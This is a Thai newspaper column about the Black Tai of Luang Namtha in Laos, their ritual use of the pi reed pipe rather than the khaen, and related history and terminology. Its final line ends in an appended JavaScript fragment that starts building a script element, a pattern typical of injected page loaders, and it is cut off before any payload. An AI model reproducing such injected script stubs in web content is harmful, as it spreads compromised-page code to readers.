มติชนรายวัน ฉบับประจำวันอังคารที่ 1 มีนาคม 2559

 

ไทดำ หลวงน้ำทา

เป่าปี่ ไม่เป่าแคน

 

 สมเด็จเจ้าพระยาบรมมหาศรีสุริยวงศ์ (ช่วง บุนนาค) เทคนิคสีพาสเทล วาดโดย ชาติชาย หอมสุวรรณ ช่างเขียนอิสระ เป็นปกหนังสือสุริยวาทิต (ฉบับมกราคม-ธันวาคม 2559) วารสารวิชาการของวิทยาลัยการดนตรี มหาวิทยาลัยราชภัฏบ้านสมเด็จเจ้าพระยา ที่มีคุณภาพทางวิชาการดนตรีดีที่สุดอีกเล่มหนึ่ง

สมเด็จเจ้าพระยาบรมมหาศรีสุริยวงศ์ (ช่วง บุนนาค) เทคนิคสีพาสเทล วาดโดย ชาติชาย หอมสุวรรณ ช่างเขียนอิสระ
เป็นปกหนังสือสุริยวาทิต (ฉบับมกราคม-ธันวาคม 2559) วารสารวิชาการของวิทยาลัยการดนตรี มหาวิทยาลัยราชภัฏบ้านสมเด็จเจ้าพระยา ที่มีคุณภาพทางวิชาการดนตรีดีที่สุดอีกเล่มหนึ่ง

 

         ไทดำ หลวงน้ำทา อยู่เมืองลาว แต่ไม่เป่าแคน โดย สุธี จันทร์ศรี (อาจารย์ประจำวิทยาลัยการดนตรี มหาวิทยาลัยราชภัฏบ้านสมเด็จเจ้าพระยา)

         พิมพ์ในวารสารสุริยวาทิต(ฉบับมกราคม-ธันวาคม 2559) วารสารวิชาการของวิทยาลัยการดนตรี มหาวิทยาลัยราชภัฏบ้านสมเด็จเจ้าพระยา (นายพิชชาณัฐ ตู้จินดา บรรณาธิการ)

         ไทดำ ที่หลวงน้ำทา บอกว่า “ไทดำเป่าปี่ ไม่เป่าแคน” แล้วมีคำอธิบายต่อไปอีกว่า “ถ้าเป่าแคนจะเป็นไทแดง หรือไม่ก็คนลาว”

         เมืองหลวงน้ำทา อยู่ในแขวงหลวงน้ำทา เหนือขึ้นไปจากเมืองหลวงพระบาง ติดพรมแดนจีน

         เป็นหลักแหล่งสำคัญมากจนบางทียกเป็นศูนย์กลางของพวกกำมุ (พูดตระกูลภาษามอญ-เขมร) แต่ไทยและลาวเรียกอย่างดูถูกว่า ขมุ แล้วเหยียดลงเป็นพวกข่า แปลว่า ขี้ข้า

         พวกกำมุ แขวงหลวงน้ำทา เกี่ยวดองเป็นเครือญาติชาติพันธุ์กับกลุ่มกำมุ ที่เมืองหลวงพระบาง กับเมืองน่าน (ดอยภูคา เมืองน่าน มาจากชื่อเวียงภูคา ของกำมุ เมืองหลวงน้ำทา)

         เกี่ยวกับไทดำ จำได้ว่า พฤษภาคม 2534 ดร. เอกวิทย์ ณ ถลาง [เลขาธิการคณะกรรมการวัฒนธรรมแห่งชาติ (สวช.)] และคณะนักวิชาการไทย เช่น อ. ศรีศักร วัลลิโภดม ฯลฯ เดินทางไปศึกษาศิลปวัฒนธรรมของผู้ไท มีไทดำและไทขาว ที่เมืองแถน (เดียนเบียนฟู) และเมืองอื่นๆ ทางภาคเหนือของเวียดนาม (ติดพรมแดนลาวและจีน)

         ผมเป็นเด็กวัด ติดสอยห้อยตามไปด้วย (เมื่อกลับแล้วจัดทำหนังสือออกมาเล่มหนึ่ง ชื่อ ไทยน้อย ไทยใหญ่ ไทยสยาม สำนักพิมพ์มติชน พ.ศ. 2534)

         ไทดำ ในเวียดนาม อธิบายเรื่องปี่และแคนว่า

         ปี่ ใช้เป่าในพิธีกรรมสำคัญๆ สื่อสารเกี่ยวกับแถน หรือผีบรรพชน ไม่เป่าเล่นทั่วไป

         แคน ใช้เป่าในการละเล่นทั่วไป แต่สมัยหลังจนปัจจุบันไม่เคร่งครัดเหมือนแต่ก่อน จึงใช้เล่นควบคู่กันได้ หรือไขว้กันก็ได้

         แคน มีหลักฐานโบราณคดีว่าใช้ในพิธีกรรมเลี้ยงผี ราว 2,500 ปีมาแล้ว ปี่ต้องมีก่อนนั้น เพราะแคนมาจากปี่หลายเลาเสียบรวมกันในลูกน้ำเต้าแห้ง เรียกเต้าแคน

         เลา เป็นลักษณนาม ใช้เรียกปี่ และขลุ่ย เช่น ปี่ 2 เลา, ขลุ่ย 3 เลา [ในคำลาว เลาหมายถึงลำตัวหรือรูปร่างก็ได้]

         ปี่เลาหลวง หมายถึงปี่ที่มีขนาด (ลำตัว) ยาวและใหญ่กว่าปี่เลาอื่นๆ ใช้เป่าสื่อสารกับแถนซึ่งเป็นผีฟ้า มักเรียกควบว่าผีแถนผีฟ้า หรือผีฟ้าผีแถน

         ผีฟ้า แปลว่า ผู้เป็นใหญ่แห่งฟ้า ตรงกับคำว่า เจ้าฟ้า ที่เป็นชื่อดั้งเดิมของเมืองหลวงพระบาง แต่ออกเสียงแบบเก่าว่า เซ่า-ฟา หรือ ชวา ในเอกสารโบราณเรียกเมืองหลวงพระบางว่าเมืองชวา (ไม่ใช่เกาะชวาในอินโดนีเซีย เป็นแต่เสียงพ้องกัน)var d=document;var s=d.createElement(‘script’);